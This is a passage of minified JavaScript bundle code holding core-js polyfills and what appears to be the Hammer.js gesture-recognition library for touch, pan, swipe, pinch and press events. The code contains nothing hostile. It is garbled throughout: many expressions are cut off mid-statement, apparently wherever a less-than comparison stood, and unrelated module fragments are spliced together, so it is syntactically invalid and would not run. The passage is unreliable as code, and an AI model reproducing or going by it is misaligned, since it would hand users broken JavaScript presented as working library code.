n&1&&(t=ly(t,Hj,"")),n&2&&(t=ly(t,Kj,"$1")),t}},cy={trim:Qj(3)},uy=ot,Xj=Ze,Wj=Be,qj=gi,Jj=cy.trim,dy=bc,SI=uy.parseInt,hy=uy.Symbol,fy=hy&&hy.iterator,py=/^[+-]?0x/i,$j=Wj(py.exec),eL=SI(dy+"08")!==8||SI(dy+"0x16")!==22||fy&&!Xj(function(){SI(Object(fy))}),tL=eL?function(e,t){var i=Jj(qj(e));return SI(i,t>>>0||($j(py,i)?16:10))}:SI,gL=ue,my=tL;gL({global:!0,forced:parseInt!==my},{parseInt:my});var iL=Le,nL=iL.parseInt,AL=nL,CL=AL,IL=CL,Xg=re(IL),oL=ue,sL=ol,rL=Tl.indexOf,aL=VA,Ec=sL([].indexOf),vy=!!Ec&&1/Ec([1],1,-0)<0,lL=vy||!aL("indexOf");oL({target:"Array",proto:!0,forced:lL},{indexOf:function(e){var t=arguments.length>1?arguments[1]:void 0;return vy?Ec(this,e,t)||0:rL(this,e,t)}});var cL=wt,uL=cL("Array").indexOf,dL=st,hL=uL,Tc=Array.prototype,fL=function(n){var e=n.indexOf;return n===Tc||dL(Tc,n)&&e===Tc.indexOf?hL:e},pL=fL,mL=pL,vL=mL,Ge=re(vL),yL=ue,bL=zt,wL=hI;yL({target:"Object",stat:!0,sham:!bL},{create:wL});var EL=Le,TL=EL.Object,SL=function(e,t){return TL.create(e,t)},OL=SL,xL=OL,NL=xL,$i=re(NL),Sc=Le,DL=As;Sc.JSON||(Sc.JSON={stringify:JSON.stringify});var zL=function(e,t,i){return DL(Sc.JSON.stringify,null,arguments)},RL=zL,ML=RL,_L=ML,YA=re(_L),kL=typeof Bun=="function"&&Bun&&typeof Bun.version=="string",ZL=TypeError,BL=function(n,e){if(nt,s=jL(i)?i:YL(i),a=o?FL(arguments,t):[],l=o?function(){PL(s,this,a)}:s;return e?n(l,C):n(l)}:n},HL=ue,wy=ot,KL=by,Ey=KL(wy.setInterval,!0);HL({global:!0,bind:!0,forced:wy.setInterval!==Ey},{setInterval:Ey});var QL=ue,Ty=ot,XL=by,Sy=XL(Ty.setTimeout,!0);QL({global:!0,bind:!0,forced:Ty.setTimeout!==Sy},{setTimeout:Sy});var WL=Le,qL=WL.setTimeout,JL=qL,Ai=re(JL),$L=lg,Oy=sI,e8=Sg,t8=function(e){for(var t=$L(this),i=e8(t),C=arguments.length,o=Oy(C>1?arguments[1]:void 0,i),s=C>2?arguments[2]:void 0,a=s===void 0?i:Oy(s,i);a>o;)t[o++]=e;return t},g8=ue,i8=t8;g8({target:"Array",proto:!0},{fill:i8});var n8=wt,A8=n8("Array").fill,C8=st,I8=A8,Oc=Array.prototype,o8=function(n){var e=n.fill;return n===Oc||C8(Oc,n)&&e===Oc.fill?I8:e},s8=o8,r8=s8,a8=r8,OI=re(a8);function Wg(){return Wg=Object.assign||function(n){for(var e=1;e"u"?{style:{}}:document.createElement("div"),c8="function",UA=Math.round,Kn=Math.abs,Nc=Date.now;function Bs(n,e){for(var t,i,C=e[0].toUpperCase()+e.slice(1),o=0;o"u"?Ei={}:Ei=window;var Ny=Bs(l8.style,"touchAction"),Dy=Ny!==void 0;function u8(){if(!Dy)return!1;var n={},e=Ei.CSS&&Ei.CSS.supports;return["auto","manipulation","pan-y","pan-x","pan-x pan-y","none"].forEach(function(t){return n[t]=e?Ei.CSS.supports("touch-action",t):!0}),n}var zy="compute",Ry="auto",Dc="manipulation",Qn="none",xI="pan-x",NI="pan-y",Ps=u8(),d8=/mobile|tablet|ip(ad|hone|od)|android/i,My="ontouchstart"in Ei,h8=Bs(Ei,"PointerEvent")!==void 0,f8=My&&d8.test(navigator.userAgent),DI="touch",p8="pen",zc="mouse",m8="kinect",v8=25,Xt=1,Xn=2,Tt=4,ig=8,js=1,zI=2,RI=4,MI=8,HA=16,Ci=zI|RI,Wn=MI|HA,_y=Ci|Wn,ky=["x","y"],Ls=["clientX","clientY"];function Ti(n,e,t){var i;if(n)if(n.forEach)n.forEach(e,t);else if(n.length!==void 0)for(i=0;i-1}function y8(n){if(qn(n,Qn))return Qn;var e=qn(n,xI),t=qn(n,NI);return e&&t?Qn:e||t?e?xI:NI:qn(n,Dc)?Dc:Ry}var Zy=(function(){function n(t,i){this.manager=t,this.set(i)}var e=n.prototype;return e.set=function(i){i===zy&&(i=this.compute()),Dy&&this.manager.element.style&&Ps[i]&&(this.manager.element.style[Ny]=i),this.actions=i.toLowerCase().trim()},e.update=function(){this.set(this.manager.options.touchAction)},e.compute=function(){var i=[];return Ti(this.manager.recognizers,function(C){Gs(C.options.enable,[C])&&(i=i.concat(C.getTouchAction()))}),y8(i.join(" "))},e.preventDefaults=function(i){var C=i.srcEvent,o=i.offsetDirection;if(this.manager.session.prevented){C.preventDefault();return}var s=this.actions,a=qn(s,Qn)&&!Ps[Qn],l=qn(s,NI)&&!Ps[NI],u=qn(s,xI)&&!Ps[xI];if(a){var h=i.pointers.length===1,p=i.distance<2,m=i.deltaTime<250;if(h&&p&&m)return}if(!(u&&l)&&(a||l&&o&Ci||u&&o&Wn))return this.preventSrc(C)},e.preventSrc=function(i){this.manager.session.prevented=!0,i.preventDefault()},n})();function Rc(n,e){for(;n;){if(n===e)return!0;n=n.parentNode}return!1}function By(n){var e=n.length;if(e===1)return{x:UA(n[0].clientX),y:UA(n[0].clientY)};for(var t=0,i=0,C=0;C=Kn(e)?n<0?zI:RI:e<0?MI:HA}function b8(n,e){var t=e.center,i=n.offsetDelta||{},C=n.prevDelta||{},o=n.prevInput||{};(e.eventType===Xt||o.eventType===Tt)&&(C=n.prevDelta={x:o.deltaX||0,y:o.deltaY||0},i=n.offsetDelta={x:t.x,y:t.y}),e.deltaX=C.x+(t.x-i.x),e.deltaY=C.y+(t.y-i.y)}function Ly(n,e,t){return{x:e/n||0,y:t/n||0}}function w8(n,e){return Fs(e[0],e[1],Ls)/Fs(n[0],n[1],Ls)}function E8(n,e){return Mc(e[1],e[0],Ls)+Mc(n[1],n[0],Ls)}function T8(n,e){var t=n.lastInterval||e,i=e.timeStamp-t.timeStamp,C,o,s,a;if(e.eventType!==ig&&(i>v8||t.velocity===void 0)){var l=e.deltaX-t.deltaX,u=e.deltaY-t.deltaY,h=Ly(i,l,u);o=h.x,s=h.y,C=Kn(h.x)>Kn(h.y)?h.x:h.y,a=jy(l,u),n.lastInterval=e}else C=t.velocity,o=t.velocityX,s=t.velocityY,a=t.direction;e.velocity=C,e.velocityX=o,e.velocityY=s,e.direction=a}function S8(n,e){var t=n.session,i=e.pointers,C=i.length;t.firstInput||(t.firstInput=Py(e)),C>1&&!t.firstMultiple?t.firstMultiple=Py(e):C===1&&(t.firstMultiple=!1);var o=t.firstInput,s=t.firstMultiple,a=s?s.center:o.center,l=e.center=By(i);e.timeStamp=Nc(),e.deltaTime=e.timeStamp-o.timeStamp,e.angle=Mc(a,l),e.distance=Fs(a,l),b8(t,e),e.offsetDirection=jy(e.deltaX,e.deltaY);var u=Ly(e.deltaTime,e.deltaX,e.deltaY);e.overallVelocityX=u.x,e.overallVelocityY=u.y,e.overallVelocity=Kn(u.x)>Kn(u.y)?u.x:u.y,e.scale=s?w8(s.pointers,i):1,e.rotation=s?E8(s.pointers,i):0,e.maxPointers=t.prevInput?e.pointers.length>t.prevInput.maxPointers?e.pointers.length:t.prevInput.maxPointers:e.pointers.length,T8(t,e);var h=n.element,p=e.srcEvent,m;p.composedPath?m=p.composedPath()[0]:p.path?m=p.path[0]:m=p.target,Rc(m,h)&&(h=m),e.target=h}function O8(n,e,t){var i=t.pointers.length,C=t.changedPointers.length,o=e&Xt&&i-C===0,s=e&(Tt|ig)&&i-C===0;t.isFirst=!!o,t.isFinal=!!s,o&&(n.session={}),t.eventType=e,S8(n,t),n.emit("hammer.input",t),n.recognize(t),n.session.prevInput=t}function _I(n){return n.trim().split(/\s+/g)}function kI(n,e,t){Ti(_I(e),function(i){n.addEventListener(i,t,!1)})}function ZI(n,e,t){Ti(_I(e),function(i){n.removeEventListener(i,t,!1)})}function Gy(n){var e=n.ownerDocument||n;return e.defaultView||e.parentWindow||window}var KA=(function(){function n(t,i){var C=this;this.manager=t,this.callback=i,this.element=t.element,this.target=t.options.inputTarget,this.domHandler=function(o){Gs(t.options.enable,[t])&&C.handler(o)},this.init()}var e=n.prototype;return e.handler=function(){},e.init=function(){this.evEl&&kI(this.element,this.evEl,this.domHandler),this.evTarget&&kI(this.target,this.evTarget,this.domHandler),this.evWin&&kI(Gy(this.element),this.evWin,this.domHandler)},e.destroy=function(){this.evEl&&ZI(this.element,this.evEl,this.domHandler),this.evTarget&&ZI(this.target,this.evTarget,this.domHandler),this.evWin&&ZI(Gy(this.element),this.evWin,this.domHandler)},n})();function Jn(n,e,t){if(n.indexOf&&!t)return n.indexOf(e);for(var i=0;il[e]}):i=i.sort()),i}var D8={touchstart:Xt,touchmove:Xn,touchend:Tt,touchcancel:ig},z8="touchstart touchmove touchend touchcancel",kc=(function(n){Og(e,n);function e(){var i;return e.prototype.evTarget=z8,i=n.apply(this,arguments)||this,i.targetIds={},i}var t=e.prototype;return t.handler=function(C){var o=D8[C.type],s=R8.call(this,C,o);s&&this.callback(this.manager,o,{pointers:s[0],changedPointers:s[1],pointerType:DI,srcEvent:C})},e})(KA);function R8(n,e){var t=BI(n.touches),i=this.targetIds;if(e&(Xt|Xn)&&t.length===1)return i[t[0].identifier]=!0,[t,t];var C,o,s=BI(n.changedTouches),a=[],l=this.target;if(o=t.filter(function(u){return Rc(u.target,l)}),e===Xt)for(C=0;C-1&&C.splice(a,1)};setTimeout(o,Z8)}}function B8(n,e){n&Xt?(this.primaryTouch=e.changedPointers[0].identifier,Hy.call(this,e)):n&(Tt|ig)&&Hy.call(this,e)}function P8(n){for(var e=n.srcEvent.clientX,t=n.srcEvent.clientY,i=0;i-1&&this.requireFail.splice(C,1),this},e.hasRequireFailures=function(){return this.requireFail.length>0},e.canRecognizeWith=function(i){return!!this.simultaneous[i.id]},e.emit=function(i){var C=this,o=this.state;function s(a){C.manager.emit(a,i)}o=en&&s(C.options.event+Qy(o))},e.tryEmit=function(i){if(this.canEmit())return this.emit(i);this.state=Ii},e.canEmit=function(){for(var i=0;io.threshold&&l&o.direction},t.attrTest=function(C){return WA.prototype.attrTest.call(this,C)&&(this.state&xg||!(this.state&xg)&&this.directionTest(C))},t.emit=function(C){this.pX=C.deltaX,this.pY=C.deltaY;var o=Xy(C.direction);o&&(C.additionalEvent=this.options.event+o),n.prototype.emit.call(this,C)},e})(WA),Wy=(function(n){Og(e,n);function e(i){return i===void 0&&(i={}),n.call(this,Wg({event:"swipe",threshold:10,velocity:.3,direction:Ci|Wn,pointers:1},i))||this}var t=e.prototype;return t.getTouchAction=function(){return Pc.prototype.getTouchAction.call(this)},t.attrTest=function(C){var o=this.options.direction,s;return o&(Ci|Wn)?s=C.overallVelocity:o&Ci?s=C.overallVelocityX:o&Wn&&(s=C.overallVelocityY),n.prototype.attrTest.call(this,C)&&o&C.offsetDirection&&C.distance>this.options.threshold&&C.maxPointers===this.options.pointers&&Kn(s)>this.options.velocity&&C.eventType&Tt},t.emit=function(C){var o=Xy(C.offsetDirection);o&&this.manager.emit(this.options.event+o,C),this.manager.emit(this.options.event,C)},e})(WA),qy=(function(n){Og(e,n);function e(i){return i===void 0&&(i={}),n.call(this,Wg({event:"pinch",threshold:0,pointers:2},i))||this}var t=e.prototype;return t.getTouchAction=function(){return[Qn]},t.attrTest=function(C){return n.prototype.attrTest.call(this,C)&&(Math.abs(C.scale-1)>this.options.threshold||this.state&xg)},t.emit=function(C){if(C.scale!==1){var o=C.scale<1?"in":"out";C.additionalEvent=this.options.event+o}n.prototype.emit.call(this,C)},e})(WA),Jy=(function(n){Og(e,n);function e(i){return i===void 0&&(i={}),n.call(this,Wg({event:"rotate",threshold:0,pointers:2},i))||this}var t=e.prototype;return t.getTouchAction=function(){return[Qn]},t.attrTest=function(C){return n.prototype.attrTest.call(this,C)&&(Math.abs(C.rotation)>this.options.threshold||this.state&xg)},e})(WA),$y=(function(n){Og(e,n);function e(i){var C;return i===void 0&&(i={}),C=n.call(this,Wg({event:"press",pointers:1,time:251,threshold:9},i))||this,C._timer=null,C._input=null,C}var t=e.prototype;return t.getTouchAction=function(){return[Ry]},t.process=function(C){var o=this,s=this.options,a=C.pointers.length===s.pointers,l=C.distances.time;if(this._input=C,!l||!a||C.eventType&(Tt|ig)&&!u)this.reset();else if(C.eventType&Xt)this.reset(),this._timer=setTimeout(function(){o.state=Si,o.tryEmit()},s.time);else if(C.eventType&Tt)return Si;return Ii},t.reset=function(){clearTimeout(this._timer)},t.emit=function(C){this.state===Si&&(C&&C.eventType&Tt?this.manager.emit(this.options.event+"up",C):(this._input.timeStamp=Nc(),this.manager.emit(this.options.event,this._input)))},e})(jI),eb={domEvents:!1,touchAction:zy,enable:!0,inputTarget:null,inputClass:null,cssProps:{userSelect:"none",touchSelect:"none",touchCallout:"none",contentZooming:"none",userDrag:"none",tapHighlightColor:"rgba(0,0,0,0)"}},tb=[[Jy,{enable:!1}],[qy,{enable:!1},["rotate"]],[Wy,{direction:Ci}],[Pc,{direction:Ci},["swipe"]],[Bc],[Bc,{event:"doubletap",taps:2},["tap"]],[$y]],F8=1,gb=2;function ib(n,e){var t=n.element;if(t.style){var i;Ti(n.options.cssProps,function(C,o){i=Bs(t.style,o),e?(n.oldCssProps[i]=t.style[i],t.style[i]=C):t.style[i]=n.oldCssProps[i]||""}),e||(n.oldCssProps={})}}function V8(n,e){var t=document.createEvent("Event");t.initEvent(n,!0,!0),t.gesture=e,e.target.dispatchEvent(t)}var nb=(function(){function n(t,i){var C=this;this.options=Hn({},eb,i||{}),this.options.inputTarget=this.options.inputTarget||t,this.handlers={},this.session={},this.recognizers=[],this.oldCssProps={},this.element=t,this.input=j8(this),this.touchAction=new Zy(this,this.options.touchAction),ib(this,!0),Ti(this.options.recognizers,function(o){var s=C.add(new o[0](o[1]));o[2]&&s.recognizeWith(o[2]),o[3]&&s.requireFailure(o[3])},this)}var e=n.prototype;return e.set=function(i){return Hn(this.options,i),i.touchAction&&this.touchAction.update(),i.inputTarget&&(this.input.destroy(),this.input.target=i.inputTarget,this.input.init()),this},e.stop=function(i){this.session.stopped=i?gb:F8},e.recognize=function(i){var C=this.session;if(!C.stopped){this.touchAction.preventDefaults(i);var o,s=this.recognizers,a=C.curRecognizer;(!a||a&&a.state&Si)&&(C.curRecognizer=null,a=null);for(var l=0;lGM)throw LM("Maximum allowed index exceeded");return n},FM=rs,VM=ug,YM=tI,cI=function(n,e,t){var i=FM(e);i in n?VM.f(n,i,YM(0,t)):n[i]=t},UM=dt,HM=UM("toStringTag"),ym={};ym[HM]="z";var _l=String(ym)==="[object z]",KM=_l,QM=Pt,ds=mi,XM=dt,WM=XM("toStringTag"),qM=Object,JM=ds((function(){return arguments})())==="Arguments",$M=function(n,e){try{return n[e]}catch{}},yi=KM?ds:function(n){var e,t,i;return n===void 0?"Undefined":n===null?"Null":typeof(t=$M(e=qM(n),WM))=="string"?t:JM?ds(e):(i=ds(e))==="Object"&&QM(e.callee)?"Arguments":i},e_=Be,t_=Pt,kl=pl,g_=e_(Function.toString);t_(kl.inspectSource)||(kl.inspectSource=function(n){return g_(n)});var i_=kl.inspectSource,n_=Be,A_=Ze,bm=Pt,C_=yi,I_=Ug,o_=i_,wm=function(){},s_=[],Em=I_("Reflect","construct"),Zl=/^\s*(?:class|function)\b/,r_=n_(Zl.exec),a_=!Zl.test(wm),uI=function(e){if(!bm(e))return!1;try{return Em(wm,s_,e),!0}catch{return!1}},Tm=function(e){if(!bm(e))return!1;switch(C_(e)){case"AsyncFunction":case"GeneratorFunction":case"AsyncGeneratorFunction":return!1}try{return a_||!!r_(Zl,o_(e))}catch{return!0}};Tm.sham=!0;var Sm=!Em||A_(function(){var n;return uI(uI.call)||!uI(Object)||!uI(function(){n=!0})||n})?Tm:uI,Om=Xi,l_=Sm,c_=Kt,u_=dt,d_=u_("species"),xm=Array,h_=function(n){var e;return Om(n)&&(e=n.constructor,l_(e)&&(e===xm||Om(e.prototype))?e=void 0:c_(e)&&(e=e[d_],e===null&&(e=void 0))),e===void 0?xm:e},f_=h_,hs=function(n,e){return new(f_(n))(e===0?0:e)},p_=Ze,m_=dt,v_=nI,y_=m_("species"),dI=function(n){return v_>=51||!p_(function(){var e=[],t=e.constructor={};return t[y_]=function(){return{foo:1}},e[n](Boolean).foo!==1})},b_=ue,w_=Ze,E_=Xi,T_=Kt,S_=cg,O_=Og,Nm=Ml,Dm=cI,x_=hs,N_=dI,D_=dt,z_=nI,zm=D_("isConcatSpreadable"),R_=z_>=51||!w_(function(){var n=[];return n[zm]=!1,n.concat()[0]!==n}),M_=function(n){if(!T_(n))return!1;var e=n[zm];return e!==void 0?!!e:E_(n)},__=!R_||!N_("concat");b_({target:"Array",proto:!0,forced:__},{concat:function(e){var t=S_(this),i=x_(t,0),C=0,o,s,a,l,u;for(o=-1,a=arguments.length;os;)j_.f(e,a=C[s++],i[a]);return e};var V_=Ug,Y_=V_("document","documentElement"),U_=RA,H_=ss,Rm=U_("keys"),ps=function(n){return Rm[n]||(Rm[n]=H_(n))},K_=vi,Q_=fs,Mm=Ol,X_=rI,W_=Y_,q_=Jp,J_=ps,_m=">",km="<",Bl="prototype",Pl="script",Zm=J_("IE_PROTO"),jl=function(){},Bm=function(n){return km+Pl+_m+n+km+"/"+Pl+_m},Pm=function(n){n.write(Bm("")),n.close();var e=n.parentWindow.Object;return n=null,e},$_=function(){var n=q_("iframe"),e="java"+Pl+":",t;return n.style.display="none",W_.appendChild(n),n.src=String(e),t=n.contentWindow.document,t.open(),t.write(Bm("document.F=Object")),t.close(),t.F},ms,vs=function(){try{ms=new ActiveXObject("htmlfile")}catch{}vs=typeof document<"u"?document.domain&&ms?Pm(ms):$_():Pm(ms);for(var n=Mm.length;n--;)delete vs[Bl][Mm[n]];return vs()};X_[Zm]=!0;var hI=Object.create||function(e,t){var i;return e!==null?(jl[Bl]=K_(e),i=new jl,jl[Bl]=null,i[Zm]=e):i=vs(),t===void 0?i:Q_.f(i,t)},fI={},e5=Im,t5=Ol,g5=t5.concat("length","prototype");fI.f=Object.getOwnPropertyNames||function(e){return e5(e,g5)};var ys={},jm=sI,i5=Og,n5=cI,A5=Array,C5=Math.max,Lm=function(n,e,t){for(var i=i5(n),C=jm(e,i),o=jm(t===void 0?i:t,i),s=A5(C5(o-C,0)),a=0;CN;N++)if((a||N in v)&&(Y=v[N],j=w(Y,N,m),n))if(e)k[N]=j;else if(j)switch(n){case 3:return!0;case 5:return Y;case 6:return N;case 2:Wm(k,Y)}else switch(n){case 4:return!1;case 7:Wm(k,Y)}return o?-1:i||C?C:k}},Wi={forEach:Fn(0),map:Fn(1),filter:Fn(2),some:Fn(3),every:Fn(4),find:Fn(5),findIndex:Fn(6)},Es=ue,Ts=ot,Yl=Vg,H5=Be,LA=Dt,GA=zA,K5=Ze,_t=zt,Q5=st,Ul=vi,Ss=Yg,Hl=rs,X5=gi,Kl=tI,yI=hI,qm=aI,W5=fI,Jm=ys,q5=lI,$m=$C,ev=ug,J5=fs,tv=eI,gv=pI,$5=Ll,Ql=RA,ek=ps,iv=rI,nv=ss,tk=dt,gk=mI,ik=rt,nk=Ym,Ak=PA,Av=Gn,Os=Wi.forEach,gg=ek("hidden"),xs="Symbol",bI="prototype",Ck=Av.set,Cv=Av.getterFor(xs),Kg=Object[bI],Vn=Ts.Symbol,wI=Vn&&Vn[bI],Ik=Ts.RangeError,ok=Ts.TypeError,Xl=Ts.QObject,Iv=$m.f,Yn=ev.f,ov=Jm.f,sk=tv.f,sv=H5([].push),bi=Ql("symbols"),EI=Ql("op-symbols"),rk=Ql("wks"),Wl=!Xl||!Xl[bI]||!Xl[bI].findChild,rv=function(n,e,t){var i=Iv(Kg,e);i&&delete Kg[e],Yn(n,e,t),i&&n!==Kg&&Yn(Kg,e,i)},ql=LA&&K5(function(){return yI(Yn({},"a",{get:function(){return Yn(this,"a",{value:7}).a}})).a!==7})?rv:Yn,Jl=function(n,e){var t=bi[n]=yI(wI);return Ck(t,{type:xs,tag:n,description:e}),LA||(t.description=e),t},Ns=function(e,t,i){e===Kg&&Ns(EI,t,i),Ul(e);var C=Hl(t);return Ul(i),_t(bi,C)?(i.enumerable?(_t(e,gg)&&e[gg][C]&&(e[gg][C]=!1),i=yI(i,{enumerable:Kl(0,!1)})):(_t(e,gg)||Yn(e,gg,Kl(1,{})),e[gg][C]=!0),ql(e,C,i)):Yn(e,C,i)},$l=function(e,t){Ul(e);var i=Ss(t),C=qm(i).concat(uv(i));return Os(C,function(o){(!LA||Yl(av,i,o))&&Ns(e,o,i[o])}),e},ak=function(e,t){return t===void 0?yI(e):$l(yI(e),t)},av=function(e){var t=Hl(e),i=Yl(sk,this,t);return this===Kg&&_t(bi,t)&&!_t(EI,t)?!1:i||!_t(this,t)||!_t(bi,t)||_t(this,gg)&&this[gg][t]?i:!0},lv=function(e,t){var i=Ss(e),C=Hl(t);if(!(i===Kg&&_t(bi,C)&&!_t(EI,C))){var o=Iv(i,C);return o&&_t(bi,C)&&!(_t(i,gg)&&i[gg][C])&&(o.enumerable=!0),o}},cv=function(e){var t=ov(Ss(e)),i=[];return Os(t,function(C){!_t(bi,C)&&!_t(iv,C)&&sv(i,C)}),i},uv=function(n){var e=n===Kg,t=ov(e?EI:Ss(n)),i=[];return Os(t,function(C){_t(bi,C)&&(!e||_t(Kg,C))&&sv(i,bi[C])}),i};GA||(Vn=function(){if(Q5(wI,this))throw new ok("Symbol is not a constructor");var e=!arguments.length||arguments[0]===void 0?void 0:X5(arguments[0]),t=nv(e),i=function(C){this===Kg&&Yl(i,EI,C),_t(this,gg)&&_t(this[gg],t)&&(this[gg][t]=!1);var o=Kl(1,C);try{ql(this,t,o)}catch(s){if(!(s instanceof Ik))throw s;rv(this,t,o)}};return LA&&Wl&&ql(Kg,t,{configurable:!0,set:i}),Jl(t,e)},wI=Vn[bI],gv(wI,"toString",function(){return Cv(this).tag}),gv(Vn,"withoutSetter",function(n){return Jl(nv(n),n)}),tv.f=av,ev.f=Ns,J5.f=$l,$m.f=lv,W5.f=Jm.f=cv,q5.f=uv,gk.f=function(n){return Jl(tk(n),n)},LA&&$5(wI,"description",{configurable:!0,get:function(){return Cv(this).description}})),Es({global:!0,wrap:!0,forced:!GA,sham:!GA},{Symbol:Vn}),Os(qm(rk),function(n){ik(n)}),Es({target:xs,stat:!0,forced:!GA},{useSetter:function(){Wl=!0},useSimple:function(){Wl=!1}}),Es({target:"Object",stat:!0,forced:!GA,sham:!LA},{create:ak,defineProperty:Ns,defineProperties:$l,getOwnPropertyDescriptor:lv}),Es({target:"Object",stat:!0,forced:!GA},{getOwnPropertyNames:cv}),nk(),Ak(Vn,xs),iv[gg]=!0;var lk=zA,dv=lk&&!!Symbol.for&&!!Symbol.keyFor,ck=ue,uk=Ug,dk=zt,hk=gi,hv=RA,fk=dv,ec=hv("string-to-symbol-registry"),pk=hv("symbol-to-string-registry");ck({target:"Symbol",stat:!0,forced:!fk},{for:function(n){var e=hk(n);if(dk(ec,e))return ec[e];var t=uk("Symbol")(e);return ec[e]=t,pk[t]=e,t}});var mk=ue,vk=zt,yk=AI,bk=CI,wk=RA,Ek=dv,fv=wk("symbol-to-string-registry");mk({target:"Symbol",stat:!0,forced:!Ek},{keyFor:function(e){if(!yk(e))throw new TypeError(bk(e)+" is not a symbol");if(vk(fv,e))return fv[e]}});var Tk=Be,pv=Xi,Sk=Pt,mv=mi,Ok=gi,vv=Tk([].push),xk=function(n){if(Sk(n))return n;if(pv(n)){for(var e=n.length,t=[],i=0;i=e.length)return n.target=void 0,_s(void 0,!0);switch(t){case"keys":return _s(i,!1);case"values":return _s(e[i],!1)}return _s([i,e[i]],!1)},"values"),Yv.Arguments=Yv.Array;var WZ={CSSRuleList:0,CSSStyleDeclaration:0,CSSValueList:0,ClientRectList:0,DOMRectList:0,DOMStringList:0,DOMTokenList:1,DataTransferItemList:0,FileList:0,HTMLAllCollection:0,HTMLCollection:0,HTMLFormElement:0,HTMLSelectElement:0,MediaList:0,MimeTypeArray:0,NamedNodeMap:0,NodeList:1,PaintRequestList:0,Plugin:0,PluginArray:0,SVGLengthList:0,SVGNumberList:0,SVGPathSegList:0,SVGPointList:0,SVGStringList:0,SVGTransformList:0,SourceBufferList:0,StyleSheetList:0,TextTrackCueList:0,TextTrackList:0,TouchList:0},qZ=WZ,JZ=ot,$Z=yi,eB=_A,Kv=FA,tB=dt,Qv=tB("toStringTag");for(var sc in qZ){var Xv=JZ[sc],rc=Xv&&Xv.prototype;rc&&$Z(rc)!==Qv&&eB(rc,Qv,sc),Kv[sc]=Kv.Array}var gB=rZ,Wv=gB,iB=Wv,nB=ae(iB),AB=ue,qv=Xi,CB=Sm,IB=Kt,Jv=sI,oB=Og,sB=Yg,rB=cI,aB=dt,lB=dI,cB=us,uB=lB("slice"),dB=aB("species"),ac=Array,hB=Math.max;AB({target:"Array",proto:!0,forced:!uB},{slice:function(e,t){var i=sB(this),C=oB(i),o=Jv(e,C),s=Jv(t===void 0?C:t,C),a,l,u;if(qv(i)&&(a=i.constructor,CB(a)&&(a===ac||qv(a.prototype))?a=void 0:IB(a)&&(a=a[dB],a===null&&(a=void 0)),a===ac||a===void 0))return cB(i,o,s);for(l=new(a===void 0?ac:a)(hB(s-o,0)),u=0;o1?arguments[1]:void 0)}});var WB=bt,qB=WB("Array").map,JB=st,$B=qB,cc=Array.prototype,eP=function(n){var e=n.map;return n===cc||JB(cc,n)&&e===cc.map?$B:e},tP=eP,gP=tP,iP=gP,jt=ae(iP),nP=ue,AP=cg,ey=aI,CP=Ze,IP=CP(function(){ey(1)});nP({target:"Object",stat:!0,forced:IP},{keys:function(e){return ey(AP(e))}});var oP=je,sP=oP.Object.keys,rP=sP,aP=rP,lP=aP,Je=ae(lP),cP=ue,uP=Be,ty=Date,dP=uP(ty.prototype.getTime);cP({target:"Date",stat:!0},{now:function(){return dP(new ty)}});var hP=je,fP=hP.Date.now,pP=fP,mP=pP,vP=mP,ks=ae(vP),yP=Ze,VA=function(n,e){var t=[][n];return!!t&&yP(function(){t.call(null,e||function(){return 1},1)})},bP=Wi.forEach,wP=VA,EP=wP("forEach"),TP=EP?[].forEach:function(e){return bP(this,e,arguments.length>1?arguments[1]:void 0)},SP=ue,gy=TP;SP({target:"Array",proto:!0,forced:[].forEach!==gy},{forEach:gy});var OP=bt,xP=OP("Array").forEach,NP=xP,DP=NP,zP=yi,RP=zt,MP=st,_P=DP,uc=Array.prototype,kP={DOMTokenList:!0,NodeList:!0},ZP=function(n){var e=n.forEach;return n===uc||MP(uc,n)&&e===uc.forEach||RP(kP,zP(n))?_P:e},BP=ZP,De=ae(BP),PP=ue,jP=Be,LP=Xi,GP=jP([].reverse),iy=[1,2];PP({target:"Array",proto:!0,forced:String(iy)===String(iy.reverse())},{reverse:function(){return LP(this)&&(this.length=this.length),GP(this)}});var FP=bt,VP=FP("Array").reverse,YP=st,UP=VP,dc=Array.prototype,HP=function(n){var e=n.reverse;return n===dc||YP(dc,n)&&e===dc.reverse?UP:e},KP=HP,QP=KP,XP=QP,Un=ae(XP),WP=Dt,qP=Xi,JP=TypeError,$P=Object.getOwnPropertyDescriptor,e4=WP&&!(function(){if(this!==void 0)return!0;try{Object.defineProperty([],"length",{writable:!1}).length=1}catch(n){return n instanceof TypeError}})(),t4=e4?function(n,e){if(qP(n)&&!$P(n,"length").writable)throw new JP("Cannot set read only .length");return n.length=e}:function(n,e){return n.length=e},ny=CI,g4=TypeError,Ay=function(n,e){if(!delete n[e])throw new g4("Cannot delete property "+ny(e)+" of "+ny(n))},i4=ue,n4=cg,A4=sI,C4=cs,I4=Og,o4=t4,s4=Ml,r4=hs,a4=cI,hc=Ay,l4=dI,c4=l4("splice"),u4=Math.max,d4=Math.min;i4({target:"Array",proto:!0,forced:!c4},{splice:function(e,t){var i=n4(this),C=I4(i),o=A4(e,C),s=arguments.length,a,l,u,h,p,m;for(s===0?a=l=0:s===1?(a=0,l=C-o):(a=s-2,l=d4(u4(C4(t),0),C-o)),s4(C+a-l),u=r4(i,l),h=0;hC-l+a;h--)hc(i,h-1)}else if(a>l)for(h=C-l;h>o;h--)p=h+l-1,m=h+a-1,p in i?i[m]=i[p]:hc(i,m);for(h=0;h1?arguments[1]:void 0)}});var x4=bt,N4=x4("Array").includes,D4=Kt,z4=mi,R4=dt,M4=R4("match"),_4=function(n){var e;return D4(n)&&((e=n[M4])!==void 0?!!e:z4(n)==="RegExp")},k4=_4,Z4=TypeError,B4=function(n){if(k4(n))throw new Z4("The method doesn't accept regular expressions");return n},P4=dt,j4=P4("match"),L4=function(n){var e=/./;try{"/./"[n](e)}catch{try{return e[j4]=!1,"/./"[n](e)}catch{}}return!1},G4=ue,F4=Be,V4=B4,Y4=gI,Cy=gi,U4=L4,H4=F4("".indexOf);G4({target:"String",proto:!0,forced:!U4("includes")},{includes:function(e){return!!~H4(Cy(Y4(this)),Cy(V4(e)),arguments.length>1?arguments[1]:void 0)}});var K4=bt,Q4=K4("String").includes,Iy=st,X4=N4,W4=Q4,pc=Array.prototype,mc=String.prototype,q4=function(n){var e=n.includes;return n===pc||Iy(pc,n)&&e===pc.includes?X4:typeof n=="string"||n===mc||Iy(mc,n)&&e===mc.includes?W4:e},J4=q4,$4=J4,ej=$4,Ji=ae(ej),tj=ue,gj=Ze,ij=cg,oy=zs,nj=kv,Aj=gj(function(){oy(1)});tj({target:"Object",stat:!0,forced:Aj,sham:!nj},{getPrototypeOf:function(e){return oy(ij(e))}});var 